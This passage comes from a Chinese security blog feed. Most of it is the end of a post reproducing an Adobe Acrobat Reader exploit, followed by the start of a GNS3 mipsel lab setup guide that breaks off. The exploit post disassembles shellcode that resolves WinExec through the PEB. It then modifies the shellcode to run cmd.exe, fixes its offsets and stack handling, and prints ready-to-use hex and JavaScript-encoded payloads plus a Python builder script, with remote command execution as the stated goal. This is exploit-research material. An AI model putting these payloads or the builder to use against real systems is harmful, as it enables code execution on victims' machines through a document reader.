个改为指向第 3 个</p><p><img src="boxcnLpZPnA54EMFFFfvEJyGuAd.png" alt="" /></p><p>查看该地址处 <code>0x52326F8</code> 反汇编代码，</p><p><img src="boxcnsGw5Pb4zmv44Zbu3V3ghNb.png" alt="" /></p><ol start="7"><li>0x308b7e18</li></ol><pre class="highlight"><code class="">Array Literal:&#123; 0x8B, 0x30, 0x8B, 0x7E, 0x18 &#125;Disassembly:0:  8b 30                   mov    esi,DWORD PTR [eax]2:  8b 7e 18                mov    edi,DWORD PTR [esi+0x18]</code></pre><p>同上一轮，拼接剩下的 0x8b，并反汇编，在执行该地址前，执行了一次 lodsd</p><p><img src="boxcnTcJ4ihcBu7UhT7c8UoM7Av.png" alt="" /></p><p>发现 EAX 的值改为了 <code>0x5232618</code> ，也就是此时取地址内容的真实地址是 <code>0x5232618</code> 而不是 <code>0x20000358</code></p><p><img src="boxcnuTjjJnj2ps5oBkTjwC6NMh.png" alt="" /></p><p>执行后 esi 指向 <code>0x52328d8</code>,此时 ESI 所在结构为 <code>PEB_LDR_DATA-&gt;InLoadOrderModuleList[2]</code> ,查看此处反汇编及内存中内容 ，通过先知文章可以知道此时的结构信息，esi 指向 INLoadOrderLinks 的地址，距离我们的 DLLBase 还差 0x18</p><p><img src="boxcnvuasw6g0HaPJkPQ3grfHFg.png" alt="" /></p><p>继续运行</p><p><img src="boxcnreqyoZ4SLtlTHLss5UpaOh.png" alt="" /></p><p>接着下一次执行复制到 edi，地址从当前的 esi+0x18 处获取内容，如下图，地址内容为 <code>77260000</code> ,该内容为地址，指向 kernel32.dll，也就是获取到了 DLLBASE 地址。后续均称为 <code>kernel_addr</code>。</p><p><img src="boxcnf6ARqo2F7mmO3hWyGp593e.png" alt="" /></p><h3 id="动态获得函数地址"><a class="markdownIt-Anchor" href="#动态获得函数地址"></a> 动态获得函数地址</h3><p>该部分后续 shellcode 主要用来定位具体的某个函数，通过 kernel_addr + 搜索偏移 得到具体的函数地址。该部分主要参考 <a href="https://wizardforcel.gitbooks.io/q-buffer-overflow-tutorial/content/119.html">wizardforcel.gitbooks.io</a></p><ol start="8"><li>0x8b5f3c8b</li></ol><pre class="highlight"><code class="">Array Literal:&#123; 0x8B, 0x5F, 0x3C, 0x8B &#125;Disassembly:0:  8b 5f 3c                mov    ebx,DWORD PTR [edi+0x3c]3:  8b                      .byte 0x8b</code></pre><p>此部分主要用于获取 PE 头部偏移，对 ebx 赋值 edi+0x3c，注意此时 edi 指向 kernel32.dll 基地址，也就是获取 kernel_addr+0x3c 处的内容，得到 EBX=0xF8,所以 PE_HEADER_OFFSET = 0xF8。</p><p>PE 头部偏移在 kerner32.dll 基址 ＋0x3C 的地方。</p><p><img src="boxcnahbPrPN2Ne9a450cwTthJe.png" alt="" /></p><ol start="9"><li>0x5c1f788b</li></ol><pre class="highlight"><code class="">Array Literal:&#123; 0x8B, 0x5C, 0x1F, 0x78, 0x8B &#125;Disassembly:0:  8b 5c 1f 78             mov    ebx,DWORD PTR [edi+ebx*1+0x78]4:  8b                      .byte 0x8b</code></pre><p>输出表的位置在 kerner32.dll 基地址 +PE 头部地址 +0x78，所以此处 ebx 的内容是输出表的地址。</p><p>输出表结构如下，对于我们的目的是为了找函数，则可以通过匹配函数名字然后确定函数地址。</p><pre class="highlight"><code class="">Typedef struct _IMAGE_EXPORT_DIRECTORY&#123;    Characteristics; 4    TimeDateStamp 4    MajorVersion 2　　MinorVersion 2　　Name 4 模块名字　　Base 4 基数，加上序数就是函数地址数组的索引值　　NumberOfFunctions 4    NumberOfNames 4    AddressOfFunctions 4 指向函数地址数组　　AddressOfNames 4 函数名字的指针地址　　AddressOfNameOrdinal 4 指向输出序列号数组&#125;</code></pre><p>在(kernel32 基址 +export+0x1c +offset)处获取 AddressOfFunctions、AddressOfNames、AddressOfNameOrdinalse。</p><p>(kernel32 基址 +export+0x1C) AddressOfFunctions</p><p>(kernel32 基址 +export+0x20) AddressOfNames</p><p>(kernel32 基址 +export+0x24) AddressOfNameOrdinal</p><p><img src="boxcnvmj7BFvKQxEQDKuGFdCARh.png" alt="" /></p><ol start="10"><li>0x741f2001</li></ol><pre class="highlight"><code class="">Array Literal:&#123; 0x8B, 0x74, 0x1F, 0x20, 0x01 &#125;Disassembly:0:  8b 74 1f 20             mov    esi,DWORD PTR [edi+ebx*1+0x20]4:  01                      .byte 0x1</code></pre><p>esi 指向 AddressOfNames ，主要存储函数名称指针地址偏移</p><p><img src="boxcn0AZkcUKqNedlHepJHbWGJf.png" alt="" /></p><ol start="11"><li>0xfe8b541f</li></ol><p>两次汇编 第一次补齐上轮 +1 字节</p><pre class="highlight"><code class="">Array Literal:&#123; 0x01, 0xFE &#125;Disassembly:0:  01 fe                   add    esi,edi</code></pre><p>计算出 函数名地址，edi 为 kernel32 基地址 + 刚刚获取的 AddressOfName 的偏移地址 = AddressOfName 所在地址</p><p><img src="boxcnlrO3nUsdoBAOvLuuXaFBnf.png" alt="" /></p><p>第二次 补齐下轮 1 字节</p><pre class="highlight"><code class="">Array Literal:&#123; 0x8B, 0x54, 0x1F, 0x24 &#125;Disassembly:0:  8b 54 1f 24             mov    edx,DWORD PTR [edi+ebx*1+0x24]</code></pre><p>EDX 内容存储了(kernel32 基址 +export+0x24) <code>AddressOfNameOrdinal</code> 结构的偏移地址，该结构用于存放函数的序号，构成一个函数序号数组</p><p><img src="boxcntlc16TRHBNzWVgpEVpy12g.png" alt="" /></p><ol start="12"><li>循环部分统一反汇编</li></ol><p>这里要注意 jne 跳转到 0 地址 这个是相对地址，当在内存中时，指向 <code>movzx  ebp,WORD PTR [edi+edx*1]</code> 指令所在地址</p><pre class="highlight"><code class="">0:  0f b7 2c 17             movzx  ebp,WORD PTR [edi+edx*1]4:  42                      inc    edx5:  42                      inc    edx6:  ad                      lods   eax,DWORD PTR ds:[esi]7:  81 3c 07 57 69 6e 45    cmp    DWORD PTR [edi+eax*1],0x456e6957e:  75 f0                   jne    0x0</code></pre><p>ebp = edi+edx = kernel32 基地址 +AddressOfNameOrdinal 地址偏移 = <code>AddressOfNameOrdinal</code> 结构真实地址</p><p><img src="boxcnDLoYmfXhkUTDAzTSCoE0Od.png" alt="" /></p><p>更新 edx，注意此时 edx 存的 <code>AddressOfNameOrdinal</code> 数组[0]位置的偏移地址，inc edx 后会将数组移动到下一位</p><p>将 edx 指向 <code>AddressOfNameOrdinal</code> 数组[1] 位置的偏移地址。</p><p><img src="boxcn614EYC1VDHAWF7mQBKpufN.png" alt="" /></p><p>LODSD 指令从 ESI 指向的内存地址加载一个字到 EAX，得到一个新的 EAX 偏移</p><p>此时 ESI 存储为(kernel32 基址 +export+0x20) AddressOfNames 数组[0]指针的真实地址，所以通过 lodsd 指令可以获取 AddressOfNames 数组[0]处内容并放在 EAX，此时 EAX 为 函数名称数组[0]-&gt; 函数名称偏移地址</p><p><img src="boxcnEqT77UIUU8gvBGWbISDm2b.png" alt="" /></p><p>通过计算 edi +eax = kernel32 基地址 + 函数名称偏移地址 = 真实函数名称地址，取该地址内容 也就是函数名称 与 <code>WinE</code> 比较，如果不相等则进行循环重新得到一个新的 ebp（<code>AddressOfNameOrdinal[1]</code> 对应序号的真实地址），接着再次将 edx+2 后得到 <code>AddressOfNames[1]</code> 的函数名称地址的指针地址偏移，最后再次计算函数名称地址的真实地址，再次与 WinE 比较 循环。</p><p><img src="boxcnOnAs7EuU7ZttKWFxpa6vNh.png" alt="" /></p><p><img src="boxcn3RMOVtL7C5M3swxS5l6cih.png" alt="" /></p><p><img src="boxcn8qrLc9XxMCBbYrHY0whILc.png" alt="" /></p><p><img src="boxcnWsiKIi2FOg0qafV3B2X7sh.png" alt="" /></p><p>最终找到 WinExec 时结束循环，此时 EAX 偏移地址为 WinExec 函数名称的地址偏移，EBP 为该函数的序号地址。</p><p><img src="boxcnEZqUhNHshjPNBRsBfBnIsf.png" alt="" /></p><ol start="13"><li>最终段 反汇编</li></ol><pre class="highlight"><code class="">Array Literal:&#123; 0x8B, 0x74, 0x1F, 0x1C, 0x01, 0xFE, 0x03, 0x3C, 0xAE, 0xFF, 0xD7 &#125;Disassembly:0:  8b 74 1f 1c             mov    esi,DWORD PTR [edi+ebx*1+0x1c]4:  01 fe                   add    esi,edi6:  03 3c ae                add    edi,DWORD PTR [esi+ebp*4]9:  ff d7                   call   edi</code></pre><p>ESI = (kernel32 基址 +export 真实地址 +0x1C) AddressOfFunctions [0]的偏移地址</p><p>Add esi,edi 计算出 AddressOfFunctions [0]的真实地址</p><p><img src="boxcnbbwRN3v5UizyPM83JMMdSD.png" alt="" /></p><p>此时 EBP 为 WinExec 函数的 序号地址，ESI 为 AddressOfFunctions 偏移地址</p><p><code>esi+ebp*4 </code> 得到 WinExec 函数的偏移地址</p><p><code>add    edi,DWORD PTR [esi+ebp*4] </code> 相加得到 WinExec 函数的真实地址</p><p><img src="boxcnD4mQNoBRzYXCJVld9ODTuN.png" alt="" /></p><p>在执行这段 shellcode 的同时没有再对栈空间做任何操作，栈空间包含两个参数，参数 1.calc 所在地址 2.0</p><p>最终 call edi 触发 kernel32.WinExec(&quot;calc”，0)</p><p><img src="boxcn2bY2wNOHPbhgV4NA9BOy5g.png" alt="" /></p><p>通过查询可知，WinExec 刚好有两个参数，参数一：命令 ，参数二：内容显示</p><pre class="highlight"><code class="">UINT WinExec(  [in] LPCSTR lpCmdLine,  [in] UINT   uCmdShow);</code></pre><p>经过上述验证，可以清晰的明白 shellcode 结构以及作用</p><ol><li>保存栈帧</li><li>将命令字符串压栈</li><li>通过出栈压栈操作将字符串地址放入栈顶，同时压栈前压入参数二：0</li><li>获取 kernel32.dll 基地址</li><li>循环偏移，获取 WinExec 函数地址</li><li>调用 kernel32.WinExec(&quot;calc”，0)</li></ol><h2 id="构造-exp"><a class="markdownIt-Anchor" href="#构造-exp"></a> 构造 exp</h2><p>由于上方分析都是分段进行，不方便接下来的修改 shellcode 操作，还需要简单处理一下得到完整的 shellcode</p><pre class="highlight"><code class="">shellcode = [835867240, 1667329123, 1415139921, 1686860336, 2339769483, 1980542347, 814448152, 2338274443,    1545566347, 1948196865, 4270543903, 605009708, 390218413, 2168194903, 1768834421, 4035671071,    469892611, 1018101719, 2425393296]bytes = &quot;0x&quot;for shell_bytes in shellcode:    cur_bytes= hex(shell_bytes)[2:]    bytes+=cur_bytesprint(bytes)</code></pre><p>得到 real shellcode</p><pre class="highlight"><code class="">0x31d2526863616c6354595251648b72308b760c8b760cad8b308b7e188b5f3c8b5c1f788b741f2001fe8b541f240fb72c174242ad813c0757696e4575f08b741f1c01fe033caeffd790909090</code></pre><p>反编译完整内容</p><pre class="highlight"><code class="">Array Literal:&#123; 0x31, 0xD2, 0x52, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x52, 0x51, 0x64, 0x8B, 0x72, 0x30, 0x8B, 0x76, 0x0C, 0x8B, 0x76, 0x0C, 0xAD, 0x8B, 0x30, 0x8B, 0x7E, 0x18, 0x8B, 0x5F, 0x3C, 0x8B, 0x5C, 0x1F, 0x78, 0x8B, 0x74, 0x1F, 0x20, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 0x42, 0x42, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xF0, 0x8B, 0x74, 0x1F, 0x1C, 0x01, 0xFE, 0x03, 0x3C, 0xAE, 0xFF, 0xD7, 0x90, 0x90, 0x90, 0x90 &#125;Disassembly:0:  31 d2                   xor    edx,edx2:  52                      push   edx3:  68 63 61 6c 63          push   0x636c61638:  54                      push   esp #获取存储calc的地址esp压栈9:  59                      pop    ecx# 存储calc的地址存入ecxa:  52                      push   edxb:  51                      push   ecxc:  64 8b 72 30             mov    esi,DWORD PTR fs:[edx+0x30]10: 8b 76 0c                mov    esi,DWORD PTR [esi+0xc]13: 8b 76 0c                mov    esi,DWORD PTR [esi+0xc]16: ad                      lods   eax,DWORD PTR ds:[esi]17: 8b 30                   mov    esi,DWORD PTR [eax]19: 8b 7e 18                mov    edi,DWORD PTR [esi+0x18]1c: 8b 5f 3c                mov    ebx,DWORD PTR [edi+0x3c]1f: 8b 5c 1f 78             mov    ebx,DWORD PTR [edi+ebx*1+0x78]23: 8b 74 1f 20             mov    esi,DWORD PTR [edi+ebx*1+0x20]27: 01 fe                   add    esi,edi29: 8b 54 1f 24             mov    edx,DWORD PTR [edi+ebx*1+0x24]2d: 0f b7 2c 17             movzx  ebp,WORD PTR [edi+edx*1]31: 42                      inc    edx32: 42                      inc    edx33: ad                      lods   eax,DWORD PTR ds:[esi]34: 81 3c 07 57 69 6e 45    cmp    DWORD PTR [edi+eax*1],0x456e6957 #WinE3b: 75 f0                   jne    0x2d3d: 8b 74 1f 1c             mov    esi,DWORD PTR [edi+ebx*1+0x1c]41: 01 fe                   add    esi,edi43: 03 3c ae                add    edi,DWORD PTR [esi+ebp*4]46: ff d7                   call   edi48: 90                      nop49: 90                      nop4a: 90                      nop4b: 90                      nop</code></pre><h2 id="测试改动-shellcode"><a class="markdownIt-Anchor" href="#测试改动-shellcode"></a> 测试改动 shellcode</h2><p>通过上述分析可以清晰的看到 shellcode 除了命令字符串部分需要改动，其他部分均不需要改动。</p><p>替换 calc 为 cmd.exe</p><pre class="highlight"><code class="">push  0x657865push  0x2e646d63</code></pre><p>汇编代码</p><pre class="highlight"><code class="">0x0:        xor  edx, edx0x2:        push  edx0x3:        push  0x6578650x8:        push  0x2e646d630xd:        push  esp0xe:        pop  ecx0xf:        push  edx0x10:        push  ecx0x11:        mov  esi, dword ptr fs:[edx + 0x30]0x15:        mov  esi, dword ptr [esi + 0xc]0x18:        mov  esi, dword ptr [esi + 0xc]0x1b:        lodsd  eax, dword ptr [esi]0x1c:        mov  esi, dword ptr [eax]0x1e:        mov  edi, dword ptr [esi + 0x18]0x21:        mov  ebx, dword ptr [edi + 0x3c]0x24:        mov  ebx, dword ptr [edi + ebx + 0x78]0x28:        mov  esi, dword ptr [edi + ebx + 0x20]0x2c:        add  esi, edi0x2e:        mov  edx, dword ptr [edi + ebx + 0x24]0x32:        movzx  ebp, word ptr [edi + edx]0x36:        inc  edx0x37:        inc  edx0x38:        lodsd  eax, dword ptr [esi]0x39:        cmp  dword ptr [edi + eax], 0x456e69570x40:        jne  0x2d0x42:        mov  esi, dword ptr [edi + ebx + 0x1c]0x46:        add  esi, edi0x48:        add  edi, dword ptr [esi + ebp*4]0x4b:        call  edi0x4d:        nop  0x4e:        nop  0x4f:        nop  0x50:        nop</code></pre><p>发现 jne 0x2d 的偏移变了，所以还需要改动一下 将 0x2d 改为 0x32 即可</p><pre class="highlight"><code class="">0x0:        xor  edx, edx0x2:        push  edx0x3:        push  0x6578650x8:        push  0x2e646d630xd:        push  esp0xe:        pop  ecx0xf:        push  edx0x10:        push  ecx0x11:        mov  esi, dword ptr fs:[edx + 0x30]0x15:        mov  esi, dword ptr [esi + 0xc]0x18:        mov  esi, dword ptr [esi + 0xc]0x1b:        lodsd  eax, dword ptr [esi]0x1c:        mov  esi, dword ptr [eax]0x1e:        mov  edi, dword ptr [esi + 0x18]0x21:        mov  ebx, dword ptr [edi + 0x3c]0x24:        mov  ebx, dword ptr [edi + ebx + 0x78]0x28:        mov  esi, dword ptr [edi + ebx + 0x20]0x2c:        add  esi, edi0x2e:        mov  edx, dword ptr [edi + ebx + 0x24]0x32:        movzx  ebp, word ptr [edi + edx]0x36:        inc  edx0x37:        inc  edx0x38:        lodsd  eax, dword ptr [esi]0x39:        cmp  dword ptr [edi + eax], 0x456e69570x40:        jne  0x330x42:        mov  esi, dword ptr [edi + ebx + 0x1c]0x46:        add  esi, edi0x48:        add  edi, dword ptr [esi + ebp*4]0x4b:        call  edi0x4d:        nop  0x4e:        nop  0x4f:        nop  0x50:        nop</code></pre><h3 id="shellcode-构造脚本"><a class="markdownIt-Anchor" href="#shellcode-构造脚本"></a> shellcode 构造脚本</h3><p>这里给出一个帮助构造 shellcode 的脚本</p><pre class="highlight"><code class="">def cut(obj, sec):    return [obj[i:i + sec] for i in range(0, len(obj), sec)]def shellcode2stack(string):    hex_shell = &quot;&quot;    for byte in string:        a = hex(ord(byte))[2:]        hex_shell += a    hex_list = cut(hex_shell, 8)    hex_list.reverse()    stack = []    for hex_byte in hex_list:        byte_list = cut(hex_byte, 2)        byte_list.reverse()        stack_byte = ''.join(byte_list)        stack.append(&quot;push 0x&#123;&#125;&quot;.format(stack_byte))    return stackif __name__ == '__main__':    shell = &quot;1.exe&quot;    # shell = &quot;cmd.exe&quot;    stack_list = shellcode2stack(shell)    print(&quot;push times: &#123;&#125;&quot;.format(len(stack_list)))    print(&quot;need pop times: &#123;&#125;&quot;.format(len(stack_list) - 1))    print(&quot;jne offset: &#123;&#125;&quot;.format(hex(0x2d + (len(stack_list) - 1) * 5)))    print()    for stack in stack_list:        print(stack)    print()    print(&quot;your shellcode&quot;)    print()    print(&quot;add esp, &#123;&#125;&quot;.format(hex((len(stack_list) - 1) * 4)))</code></pre><p>字节码：</p><pre class="highlight"><code class="">31D252686578650068636D642E54595251648B72308B760C8B760CAD8B308B7E188B5F3C8B5C1F788B741F2001FE8B541F240FB72C174242AD813C0757696E4575F08B741F1C01FE033CAEFFD790909090</code></pre><p>接着按照 8 比特一组进行切割，生成 js shellcode</p><p><img src="boxcnrLfblvyjBqAne65zKDpbPd.png" alt="" /></p><p>发现生成的 list 中多了 1 比特位，所以 sellcode 中还需要删除一个 0x90 的 nop 指令，生成测试 payload</p><pre class="highlight"><code class="">def cut(obj, sec):    return [int(obj[i:i+sec],16) for i in range(0,len(obj),sec)]bytes = &quot;31D252686578650068636D642E54595251648B72308B760C8B760CAD8B308B7E188B5F3C8B5C1F788B741F2001FE8B541F240FB72C174242AD813C0757696E4575F08B741F1C01FE033CAEFFD7589090&quot;bytes_list =cut(bytes,8)print(bytes_list)</code></pre><pre class="highlight"><code class="">835867240, 1702388992, 1751346532, 777279826, 1365543794, 814446092, 2339769517, 2335214462, 411787068, 2338070392, 2339643168, 33459028, 522457015, 739721794, 2910927879, 1466527301, 1978698612, 521929214, 54308607, 3616575632</code></pre><p>尝试执行</p><p><img src="boxcnYWPGi0xaBLtrjX0FyjsSff.png" alt="" /></p><p>执行失败。。。 原因也很明显 在执行完命令后需要恢复堆栈，可以看到 原始处理方法是 pop eax 两次，用来清理曾经的参数 1 和参数 2，但是现在由于我们多压栈了一次，导致这里寄存器值的错位，进而导致程序崩溃。解决方法：在添加一个 pop eax 的 shellcode 用于恢复到默认 shellcode 布局。</p><p><img src="boxcn2CEfNAV6Y1m1Jh6wQXGaWc.png" alt="" /></p><p>尝试新 shellcode</p><pre class="highlight"><code class="">0x0:        xor  edx, edx0x2:        push  edx0x3:        push  0x6578650x8:        push  0x2e646d630xd:        push  esp0xe:        pop  ecx0xf:        push  edx0x10:        push  ecx0x11:        mov  esi, dword ptr fs:[edx + 0x30]0x15:        mov  esi, dword ptr [esi + 0xc]0x18:        mov  esi, dword ptr [esi + 0xc]0x1b:        lodsd  eax, dword ptr [esi]0x1c:        mov  esi, dword ptr [eax]0x1e:        mov  edi, dword ptr [esi + 0x18]0x21:        mov  ebx, dword ptr [edi + 0x3c]0x24:        mov  ebx, dword ptr [edi + ebx + 0x78]0x28:        mov  esi, dword ptr [edi + ebx + 0x20]0x2c:        add  esi, edi0x2e:        mov  edx, dword ptr [edi + ebx + 0x24]0x32:        movzx  ebp, word ptr [edi + edx]0x36:        inc  edx0x37:        inc  edx0x38:        lodsd  eax, dword ptr [esi]0x39:        cmp  dword ptr [edi + eax], 0x456e69570x40:        jne  0x320x42:        mov  esi, dword ptr [edi + ebx + 0x1c]0x46:        add  esi, edi0x48:        add  edi, dword ptr [esi + ebp*4]0x4b:        call  edi0x4d:        pop  eax0x4e:        nop  0x4f:        nop</code></pre><p>对应 hex</p><pre class="highlight"><code class="">31D252686578650068636D642E54595251648B72308B760C8B760CAD8B308B7E188B5F3C8B5C1F788B741F2001FE8B541F240FB72C174242AD813C0757696E4575F08B741F1C01FE033CAEFFD7589090</code></pre><p>对应 js shellcode</p><pre class="highlight"><code class="">835867240, 1702388992, 1751346532, 777279826, 1365543794, 814446092, 2339769517, 2335214462, 411787068, 2338070392, 2339643168, 33459028, 522457015, 739721794, 2910927879, 1466527301, 1978698612, 521929214, 54308607, 3612905616</code></pre><p>再次尝试</p><p><img src="boxcnRkg0kQFxW7hrioef3z0szc.png" alt="" /></p><h2 id="构造-rce-shellcode"><a class="markdownIt-Anchor" href="#构造-rce-shellcode"></a> 构造 RCE shellcode</h2><p>后续添加</p><h2 id="遇到问题"><a class="markdownIt-Anchor" href="#遇到问题"></a> 遇到问题</h2><ol><li>调试时如何准确断在 shellcode 内存地址处？<br />可以在程序加载运行后，单步走几步，此时跳转到 shellcode 内存处，并下硬件断点，检测执行操作</li><li>如果自由转换 asm 到 shellcode，以及 shellcode 到 asm<br />在线方式 <a href="https://disasm.pro/">https://disasm.pro/</a><br />离线方式 pwntools</li><li>调试时突然遇见 exec_denied<br />待解决。。。</li></ol>]]></content>
    
    
    <summary type="html">&lt;p&gt;Shellcode 分析&lt;/p&gt;
&lt;h2 id=&quot;目的&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#目的&quot;&gt;&lt;/a&gt; 目的&lt;/h2&gt;
&lt;p&gt;为了改造该 exp 为远程命令执行，还需要对 shellcode 进行修改&lt;/p&gt;
&lt;h3 id=&quot;前置知识&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#前置知识&quot;&gt;&lt;/a&gt; 前置知识&lt;/h3&gt;
&lt;h2 id=&quot;strongpebstrong&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#strongpebstrong&quot;&gt;&lt;/a&gt; &lt;strong&gt;PEB&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;内容引用自 &lt;a href=&quot;https://xz.aliyun.com/t/10478&quot;&gt;x32 PEB: 获取 Kernel32 基地址的原理及实现 - 先知社区&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;TEB&lt;/strong&gt;（Thread Environment Block，线程环境块）系统在此 TEB 中保存频繁使用的线程相关的数据。位于用户地址空间，在比 PEB 所在地址低的地方。用户模式下，当前线程的 TEB 位于独立的 4KB 段(页)，可通过 CPU 的 FS 寄存器来访问该段，一般存储在[FS:0]&lt;/p&gt;</summary>
    
    
    
    <category term="漏洞挖掘" scheme="http://ioo0s.art/categories/%E6%BC%8F%E6%B4%9E%E6%8C%96%E6%8E%98/"/>
    
    
    <category term="漏洞复现" scheme="http://ioo0s.art/tags/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/"/>
    
    <category term="Adobe" scheme="http://ioo0s.art/tags/Adobe/"/>
    
    <category term="Acrobat Reader" scheme="http://ioo0s.art/tags/Acrobat-Reader/"/>
    
  </entry>
  
  <entry>
    <title>GNS3-mipsel-环境搭建</title>
    <link href="http://ioo0s.art/2023/03/06/GNS3-mipsel-%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/"/>
    <id>http://ioo0s.art/2023/03/06/GNS3-mipsel-%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/</id>
    <published>2023-03-06T00:54:24.000Z</published>
    <updated>2023-03-06T09:23:10.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="配置过程"><a class="markdownIt-Anchor" href="#配置过程"></a> 配置过程</h2><h3 id="gns3-vm-配置"><a class="markdownIt-Anchor" href="#gns3-vm-配置"></a> GNS3-vm 配置</h3><p>gns3-vm 服务默认只支持 x86-x64 系列模拟，并不支持其他架构如：arm、mips 等等。</p><span id="more"></span><h4 id="第一步"><a class="markdownIt-Anchor" href="#第一步"></a> 第一步</h4><p>修改 gns3-vm 配置</p><h5 id="修改方式一"><a class="markdownIt-Anchor" href="#修改方式一"></a> 修改方式一</h5><p>从 vm 中双击 gvm3，选择 configure 选项</p><p><img src="boxcnN4SJGuF1GWMaU8cDrJbK7f.png" alt="" /></p><p>手动输入以下命令，并按 ctr+o 进行保存，ctr+x 退出</p><pre class="highlight"><code class="">[Qemu]enable_kvm = True#require_kvm = Trueenable_hardware_acceleration = Truerequire_hardware_acceleration = False</code></pre><p><img src="boxcnWq6SYmdsB0M5qkG6k2E35e.png" alt="" /></p><h5 id="修改方式二"><a class="markdownIt-Anchor" href="#修改方式二"></a> 修改方式二</h5><p>通过 ssh 连入 gvm3 中，进入配置文件目录 <code>~/.config/GNS3/2.2/</code></p><p><img src="boxcnLGdF0xed3NFE6Jx7w0xOwb.png" alt="" /></p><p>修改 gns3_server.conf ，添加以下代码</p><pre class="highlight"><code class="">[Qemu]; !! Remember to add the gns3 user to the KVM group, otherwise you will not have read / write permissions to /dev/kvm !! (Linux only, has priority over enable_hardware_acceleration)enable_kvm = True; Require KVM to be installed in order to start VMs (Linux only, has priority over require_hardware_acceleration)require_kvm = True; Enable hardware acceleration (all platforms)enable_hardware_acceleration = True; Require hardware acceleration in order to start VMs (all platforms)require_hardware_acceleration = False</code></pre><p>保存即可</p><h4 id="第二步"><a class="markdownIt-Anchor" href="#第二步"></a> 第二步</h4><p>由于 gns3-vm 初始没有安装全部的 qemu 环境，故而无法在 gns3 中选择其他的 qemu 环境</p><pre class="highlight"><code class="">sudo apt-get install qemu qemu-user-static qemu-system uml-utilities bridge-utils</code></pre><p>也可以指定单独的架构版本，例如</p><pre class="highlight"><code class="">sudo apt-get install qemu-system-mipssudo apt-get install qemu-system-arm</code></pre><h4 id=""><a class="markdownIt-Anchor" href="#"></a> </h4><h3 id="mips-环境创建"><a class="markdownIt-Anchor" href="#mips-环境创建"></a> MIPS 环境创建</h3><ol><li>选择 <code>Qemu VMs</code> 、点击 New 选项、选中 on the GNS3 VM 选项后点击 NEXT</li></ol><p><img src="boxcnq36NxGV9irGGXL90u2Vpld.png" alt="" /></p><ol start="2"><li>设置名称，点击 next</li></ol><p><img src="boxcnHODigQEStxRWesrQw7jb5f.png" alt="" /></p><ol start="3"><li>指定 qemu 为 mipsel，并设置内存大小</li></ol><p><img src="boxcn7fGUPRmB9TgWhwpFFsj8Nw.png" alt="" /></p><p><img src="boxcnV8mXyp76IikiqgKmDAP7Sd.png" alt="" /></p><ol start="4"><li>选择连接模式为 Telnet（vnc 看情况选定）</li></ol><p><img src="boxcnY6fJSLz5UYL7o7Z3u1jcae.png" alt="" /></p><ol start="5"><li>设置 mipsel 的 qcow2 文件，需要根据版本指定</li></ol><p>低版本设置</p><p><img src="boxcnMtBP2QvYSDEAd948QB4hSf.png" alt="" /></p><p>高版本设置</p><p><img src="boxcnCtld4PMfVGNcTw6OjVPN2f.png" alt="" /></p><ol start="6"><li>点击 edit 修改详细配置信息</li></ol><p><img src="boxcnlPURylM7rLZmxLdRg9mgXb.png" alt="" /></p><ol start="7"><li>确认 qemu 为 mipsel，并勾选 atuo start</li></ol><p><img src="boxcnTKsdnx1v1fZN1htNKRxDwe.png" alt="" /></p><ol start="8"><li>修改硬盘格式为 <code>ide</code></li></ol><p>低版本，在 HDA 处修改即可</p><p><img src="boxcn19DZmI4bnU7OaSaKIgwijf.png" alt="" /></p><p>高版本需要更换位置到 HDB</p><p><img src="boxcnS3oyqC2CFzzNMAFV9598Hf.png" alt="" /></p><ol start="9"><li>更改网卡个数（自行选择）、并且勾选 替换选项</li></ol><p><img src="boxcnMDOMvxf6GzZ1zpFsNrFw6b.png" alt="" /></p><ol start="10"><li>最后指定一些 kernel 文件，并在 qemu option 中添加硬盘信息</li></ol><p>低版本设置</p><p><img src="boxcndUpYTftoiT2L3pffl2Nc0f.png" alt="" /></p><p>高版本设置</p><p><img src="boxcnQD1lk94whKXU8bVALLVYJe.png" alt="" /></p><ol start="11"><li>测试启动，默认账号 root，密码 root</li></ol><p><img src="boxcnRtv4vAhZDgzVSuu79O40Qb.png" alt="" /></p><h3 id="网络通信配置"><a class="markdownIt-Anchor" href="#网络通信配置"></a> 网络通信配置</h3><p>可以配置外网也可以配置私网，私网配置教程参考 ASA 环境配置，这里主要讲与外网配置通信</p><ol><li>选择左侧的 NAT，创建一个 NAT 模拟，选择 server，一般情况会有两个选项 1.本地计算机 2.gns3-vm</li></ol><p><img src="boxcntFHAdUiqt6oIc0MvtDK6Lg.png" alt="" /></p><ol start="2"><li>连接网络</li></ol><p><img src="boxcnC9ZtmWTyvXZgO6rjIEe65d.png" alt="" /></p><ol start="3"><li>查看网络情况，已经自动分配 ip 地址，并且可以进行通域通信（同一网段）通讯</li></ol><p><img src="boxcn2hjKCnOk7eCTKFo54MIhmc.png" alt="" /></p><h2 id="相关知识"><a class="markdownIt-Anchor" href="#相关知识"></a> 相关知识</h2><h3 id="gns3-server-configuration-file"><a class="markdownIt-Anchor" href="#gns3-server-configuration-file"></a> GNS3 server configuration file</h3><p>If you want to run the GNS3 server without the GUI, you can configure it with via an ini file.</p><h4 id="file-location"><a class="markdownIt-Anchor" href="#file-location"></a> File Location</h4><p>We search for the configuration file in multiple locations:</p><h4 id="linux"><a class="markdownIt-Anchor" href="#linux"></a> Linux</h4><ul><li>$HOME/.config/GNS3/gns3_server.conf</li><li>$HOME/.config/GNS3.conf</li><li>/etc/xdg/GNS3/gns3_server.conf</li><li>/etc/xdg/GNS3.conf</li><li>gns3_server.conf in the current directory</li></ul><h4 id="mac-os-x"><a class="markdownIt-Anchor" href="#mac-os-x"></a> Mac OS X</h4><ul><li>$HOME/.config/GNS3/gns3_server.conf</li><li>gns3_server.conf in the current directory</li></ul><h4 id="windows"><a class="markdownIt-Anchor" href="#windows"></a> 